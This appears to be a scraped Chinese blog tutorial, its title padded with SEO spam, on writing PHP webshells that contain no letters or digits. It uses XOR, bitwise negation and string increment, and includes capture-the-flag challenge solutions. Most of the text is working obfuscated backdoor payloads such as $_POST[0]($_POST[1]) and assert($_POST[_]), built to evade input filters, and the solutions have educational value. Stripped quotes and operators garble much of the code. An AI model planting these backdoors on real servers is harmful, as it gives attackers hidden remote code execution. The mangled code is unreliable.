seo顾问合同,免费seo技术教程视频,php网站开发实验报告,最近最火的关键词异或操作原理
1.首先我们得了解一下异或操作的原理
在php中#xff0c;异或操作是两个二进制数相同时#xff0c;异或(相同)为0#xff0c;不同为1
举个例子
A的ASCII值是65#xff0c;对应的二进制值是0100 0001
的ASCII值是96#xff0c;对应的二进制值是 0110 000…
异或操作原理
1.首先我们得了解一下异或操作的原理
在php中异或操作是两个二进制数相同时异或(相同)为0不同为1
举个例子
A的ASCII值是65对应的二进制值是0100 0001
的ASCII值是96对应的二进制值是 0110 0000
上下一一对应(相同)为0不同为1异或的二进制的值是00100001对应的ASCII值是33对应的字符串的值就是 ! 了
?phpecho A^;
?2.我们要利用的不只是异或操作还有PHP的特性——弱类型语言
在PHP中我们可以不预先声明变量的类型而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点我们对PHP的变类型进行隐式的转换并利用这个特点进行一些非常规的操作。如将整型转换成字符串型将布尔型当作整型或者将字符串当作函数来处理
例如以下案例 简单分析
1.$_ 没赋值为null 等价于false等价于00也就是1
就此我们完成了不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
2.$__ ? ^ },安装ASCii表的运算结果为B
3.直接B()来执行B函数 eval解析
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号PHP 将寻找与变量的值同名的函数并且尝试执行它。可变函数可以用来实现包括回调函数函数表在内的一些用途。
可变函数不能用于例如 echoprintunset()isset()empty()includerequire 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
这么看来eval其实并不能算是‘函数’而是PHP自身的语言结构如果需要用‘可变’的方式调用需要自己构造类似这样子的
?php
function eval_1($str)
{eval($str);
}$aeval_1;
$a(phpinfo());
? 绕过方法一:非数字字母的PHP后门
?php$_; // $_ 1$__(#^|); // $__ _$__.(.^~); // _P$__.(/^); // _PO$__.(|^/); // _POS$__.({^/); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?通过异或的方法将非数字和字母的字符转化为需要的字符并通过.追加拼接最后形成
$_POST[0]($_POST[1])
我们可以下载一下firefox的hackbar扩展
并输入内容来请求 输入参数为0eval1phpinfo();通过$_POST[0]($_POST[1])之后
就成为为eval(phpinfo();)
尝试执行执行失败 这里就可以引入另外一个知识点了请翻阅上面的eval解析 一个异或绕过的例子
题目
?php
include flag.php;
if(isset($_GET[code])){$code $_GET[code];if(strlen($code)40){die(Long.);}if(preg_match(/[A-Za-z0-9]/,$code)){die(NO.);}eval($code);
}else{highlight_file(__FILE__);
}
//$hint php function getFlag() to get flag;
?该例子过滤掉了数字字母
并且include了一个flag.php文件 解决方案1——异或
?code$_{{{^?/;${$_}[_]();_getFlag^?/异或完之后是_GET,定义了一个变量_GET
${$_}[_]();最终得到值$_GET[_]();
_getFlag 将getFlag赋值给_
最终整个表达式变成
$_GET[_]()——getFlag() 解决方法2——取反
?code_~%98%9A%8B%B9%93%9E%98;_(); 绕过方法二:取反
对于题目
?php
if(!preg_match(/[a-z0-9]/is,$_GET[shell])) {eval($_GET[shell]);
}异或方法绕过
?php
$_(]^).(^^-).(^^-).(^^;).(_^-).(*^~); // $_assert;
$___.(|^,).(^/).((^{).((^|); // $___POST;
$___$$__;
$_($___[_]); assert($_POST[_]);换成取反绕过
?php
$__()(); //2
$_$__/$__;$____;
$___瞰;$____.~($___{$_});$___和;$____.~($___{$__});$___和;$____.~($___{$__});$___的;$____.~($___{$_});$___半;$____.~($___{$_});$___始;$____.~($___{$__});$______;$___俯;$_____.~($___{$__});$___瞰;$_____.~($___{$__});$___次;$_____.~($___{$_});$___站;$_____.~($___{$_});$_$$_____;
$____($_[$__]);绕过方法三:利用PHP语法绕过
原理
在处理字符变量的算数运算时PHP 沿袭了 Perl 的习惯而非 C 的。例如在 Perl 中 a Z; a; 将把 $a 变成AA而在 C 中a Z; a; 将把 a 变成 [Z 的 ASCII 值是 90[ 的 ASCII 值是 91。注意字符变量只能递增不能递减并且只支持纯字母a-z 和 A-Z。递增递减其他字符变量则无效原字符串没有变化。
也就是说a bb c... 所以我们只要能拿到一个变量其值为a通过自增操作即可获得a-z中所有字符
那么如何拿到一个值为字符串a的变量呢 巧了数组Array的第一个字母就是大写A而且第4个字母是小写a。也就是说我们可以同时拿到小写和大写A等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中如果强制连接数组和字符串的话数组将被转换成字符串其值为Array 再取这个字符串的第一个字母就可以获得A了。
通过这种方式来获得ASSERT($_POST[_]);
?php
$_[];
$_$_; // $_Array;
$_$_[!]; // $_$_[0];
$___$_; // A
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;
$___.$__; // S
$___.$__; // S
$__$_;
$__;$__;$__;$__; // E
$___.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // R
$___.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T
$___.$__;
ASSERT
$_____;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // P
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // O
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // S
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T
$____.$__;$_$$____;
$___($_[_]); // ASSERT($_POST[_]);